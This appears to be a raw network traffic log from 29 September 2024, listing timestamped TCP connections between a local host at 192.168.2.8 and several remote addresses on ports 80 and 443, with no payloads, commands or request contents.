Sep 29, 2024 01:02:10.338097095 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.338110924 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.338112116 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.338129044 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.338138103 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.338145018 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.338160992 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.338165998 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.338177919 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.338191986 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.338217020 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.342201948 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.342262030 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.342267036 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.342278957 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.342298985 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.342315912 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.342411995 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.342428923 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.342442989 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.342453957 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.342457056 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.342470884 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.342473984 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.342489958 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.342498064 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.342504978 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.342519045 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.342520952 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.342535019 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.342545033 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.342550993 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.342566013 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.342587948 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.342622995 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.342654943 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.385282993 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.385313988 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.385329962 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.385333061 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.385354042 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.385364056 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.385370016 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.385379076 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.385380030 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.385390043 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.385401011 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.385446072 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.385464907 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.385468960 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.385484934 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.385500908 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.385514021 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.385514975 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.385529995 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.385540962 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.385545969 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.385560989 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.385562897 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.385575056 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.385580063 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.385596037 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.385597944 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.385613918 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.385615110 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.385674953 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.385746002 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.385760069 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.385778904 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.385968924 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.386178970 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.386226892 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.386326075 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.386349916 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.386365891 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.386372089 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.386380911 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.386385918 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.386398077 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.386408091 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.386423111 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.386423111 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.386432886 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.386440039 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.386446953 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.386454105 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.386461020 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.386475086 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.386485100 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.386506081 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.386506081 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.386523008 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.386533976 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.386552095 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.386559963 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.386583090 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.386594057 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.386598110 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.386614084 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.386617899 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.386632919 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.386663914 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.386687994 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.386708021 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.386708021 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.386743069 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.387936115 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.387985945 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.387988091 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.388005972 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.388025999 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.388042927 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.388058901 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.388087988 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.388102055 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.388117075 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.388127089 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.388132095 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:10.388140917 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.388158083 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:10.388173103 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:12.640639067 CEST	49711	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:12.640949965 CEST	49713	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:12.646002054 CEST	80	49713	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:12.646063089 CEST	80	49711	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:12.646143913 CEST	49711	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:12.646152973 CEST	49713	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:12.646428108 CEST	49713	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:12.651206017 CEST	80	49713	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:13.384246111 CEST	80	49713	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:13.384318113 CEST	49713	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:13.390979052 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:13.391243935 CEST	49714	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:13.399533033 CEST	80	49714	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:13.399578094 CEST	80	49712	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:13.399606943 CEST	49714	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:13.399653912 CEST	49712	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:13.400006056 CEST	49714	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:13.404779911 CEST	80	49714	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:13.747355938 CEST	49715	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:13.752315998 CEST	80	49715	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:13.752583027 CEST	49715	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:13.752911091 CEST	49715	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:13.757725000 CEST	80	49715	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:14.100630999 CEST	80	49714	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:14.100771904 CEST	49714	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:14.462652922 CEST	80	49715	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:14.462766886 CEST	49715	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:14.470237970 CEST	49715	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:14.475121021 CEST	80	49715	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:14.702848911 CEST	80	49715	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:14.702969074 CEST	49715	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:16.355397940 CEST	49713	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:16.355699062 CEST	49716	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:16.362087965 CEST	80	49716	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:16.362158060 CEST	49716	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:16.362217903 CEST	80	49713	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:16.362267017 CEST	49713	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:16.362409115 CEST	49716	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:16.368705988 CEST	80	49716	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:17.054878950 CEST	80	49716	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:17.058259964 CEST	49716	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:17.059705973 CEST	49714	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:17.059978008 CEST	49717	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:17.066236973 CEST	80	49717	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:17.066745043 CEST	80	49714	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:17.066945076 CEST	49714	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:17.066955090 CEST	49717	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:17.067193985 CEST	49717	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:17.073545933 CEST	80	49717	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:17.780033112 CEST	80	49717	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:17.780117989 CEST	49717	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:17.980148077 CEST	49715	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:19.049242973 CEST	49718	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:19.054477930 CEST	80	49718	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:19.054584980 CEST	49718	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:19.054867029 CEST	49718	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:19.059779882 CEST	80	49718	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:19.486526012 CEST	49716	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:19.486812115 CEST	49719	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:19.491894960 CEST	80	49716	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:19.491946936 CEST	49716	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:19.491995096 CEST	80	49719	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:19.492114067 CEST	49719	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:19.493566990 CEST	49719	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:19.499911070 CEST	80	49719	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:19.781614065 CEST	80	49718	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:19.782025099 CEST	49718	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:19.806097031 CEST	49718	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:19.811228037 CEST	80	49718	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:20.042283058 CEST	80	49718	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:20.042346001 CEST	49718	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:20.190200090 CEST	80	49719	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:20.190269947 CEST	49719	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:20.194029093 CEST	49717	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:20.194348097 CEST	49720	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:20.199115992 CEST	80	49717	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:20.199173927 CEST	49717	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:20.199275970 CEST	80	49720	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:20.199368000 CEST	49720	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:20.199632883 CEST	49720	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:20.204397917 CEST	80	49720	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:20.904814959 CEST	80	49720	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:20.904974937 CEST	49720	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:22.483246088 CEST	49719	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:22.483592987 CEST	49721	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:22.488671064 CEST	80	49721	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:22.488744974 CEST	49721	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:22.489020109 CEST	80	49719	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:22.489099026 CEST	49719	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:22.490113974 CEST	49721	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:22.495002985 CEST	80	49721	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:23.217602015 CEST	80	49721	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:23.217665911 CEST	49721	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:23.503941059 CEST	49720	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:23.504236937 CEST	49722	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:23.509618998 CEST	80	49722	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:23.509690046 CEST	49722	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:23.509707928 CEST	80	49720	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:23.509857893 CEST	49722	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:23.509887934 CEST	49720	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:23.514816999 CEST	80	49722	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:23.575845957 CEST	49718	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:24.241589069 CEST	80	49722	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:24.241662979 CEST	49722	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:27.708808899 CEST	49726	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:27.708841085 CEST	443	49726	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:27.708967924 CEST	49726	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:27.709578037 CEST	49726	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:27.709594011 CEST	443	49726	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:28.369431019 CEST	443	49726	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:28.453413010 CEST	49726	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:28.453430891 CEST	443	49726	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:28.454118967 CEST	443	49726	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:28.454127073 CEST	443	49726	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:28.454202890 CEST	49726	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:28.455183029 CEST	443	49726	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:28.455235958 CEST	49726	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:28.497617006 CEST	49726	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:28.497737885 CEST	443	49726	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:28.497944117 CEST	49726	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:28.497961044 CEST	443	49726	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:28.643060923 CEST	49726	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:28.709665060 CEST	443	49726	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:28.709820986 CEST	443	49726	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:28.709922075 CEST	49726	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:28.726387024 CEST	49726	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:28.726418972 CEST	443	49726	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:28.736977100 CEST	49729	443	192.168.2.8	172.217.18.14
Sep 29, 2024 01:02:28.737018108 CEST	443	49729	172.217.18.14	192.168.2.8
Sep 29, 2024 01:02:28.737170935 CEST	49729	443	192.168.2.8	172.217.18.14
Sep 29, 2024 01:02:28.737519026 CEST	49729	443	192.168.2.8	172.217.18.14
Sep 29, 2024 01:02:28.737533092 CEST	443	49729	172.217.18.14	192.168.2.8
Sep 29, 2024 01:02:29.189340115 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:29.189368010 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:29.189445019 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:29.189662933 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:29.189678907 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:29.246818066 CEST	80	49722	185.215.113.103	192.168.2.8
Sep 29, 2024 01:02:29.246875048 CEST	49722	80	192.168.2.8	185.215.113.103
Sep 29, 2024 01:02:29.382646084 CEST	443	49729	172.217.18.14	192.168.2.8
Sep 29, 2024 01:02:29.383069038 CEST	49729	443	192.168.2.8	172.217.18.14
Sep 29, 2024 01:02:29.383095980 CEST	443	49729	172.217.18.14	192.168.2.8
Sep 29, 2024 01:02:29.383524895 CEST	443	49729	172.217.18.14	192.168.2.8
Sep 29, 2024 01:02:29.383595943 CEST	49729	443	192.168.2.8	172.217.18.14
Sep 29, 2024 01:02:29.384262085 CEST	443	49729	172.217.18.14	192.168.2.8
Sep 29, 2024 01:02:29.384315014 CEST	49729	443	192.168.2.8	172.217.18.14
Sep 29, 2024 01:02:29.386394978 CEST	49729	443	192.168.2.8	172.217.18.14
Sep 29, 2024 01:02:29.386472940 CEST	443	49729	172.217.18.14	192.168.2.8
Sep 29, 2024 01:02:29.386698008 CEST	49729	443	192.168.2.8	172.217.18.14
Sep 29, 2024 01:02:29.386708021 CEST	443	49729	172.217.18.14	192.168.2.8
Sep 29, 2024 01:02:29.455523968 CEST	49729	443	192.168.2.8	172.217.18.14
Sep 29, 2024 01:02:29.536621094 CEST	49732	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:29.541923046 CEST	80	49732	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:29.541996956 CEST	49732	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:29.544754982 CEST	49732	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:29.549525976 CEST	80	49732	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:29.701858044 CEST	443	49729	172.217.18.14	192.168.2.8
Sep 29, 2024 01:02:29.701917887 CEST	49729	443	192.168.2.8	172.217.18.14
Sep 29, 2024 01:02:29.701939106 CEST	443	49729	172.217.18.14	192.168.2.8
Sep 29, 2024 01:02:29.701977015 CEST	49729	443	192.168.2.8	172.217.18.14
Sep 29, 2024 01:02:29.703816891 CEST	49729	443	192.168.2.8	172.217.18.14
Sep 29, 2024 01:02:29.703843117 CEST	443	49729	172.217.18.14	192.168.2.8
Sep 29, 2024 01:02:29.938824892 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:29.950280905 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:29.950298071 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:29.950885057 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:29.950905085 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:29.950974941 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:29.950974941 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:29.950987101 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:29.951106071 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:29.951632977 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:29.955396891 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:29.955497980 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:29.956634045 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:29.956645966 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:30.146178007 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:30.253700018 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:30.253735065 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:30.253870010 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:30.253885984 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:30.256700993 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:30.256784916 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:30.256792068 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:30.263772964 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:30.263988972 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:30.263995886 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:30.269481897 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:30.269582033 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:30.269589901 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:30.276082039 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:30.276232004 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:30.276242971 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:30.283431053 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:30.283564091 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:30.283572912 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:30.288994074 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:30.289063931 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:30.289072037 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:30.295496941 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:30.295557976 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:30.295564890 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:30.299453974 CEST	80	49732	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:30.302246094 CEST	49732	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:30.308195114 CEST	49732	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:30.313302040 CEST	80	49732	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:30.337301970 CEST	49721	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:30.338326931 CEST	49735	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:30.342489004 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:30.342588902 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:30.342600107 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:30.342627048 CEST	80	49721	185.215.113.43	192.168.2.8
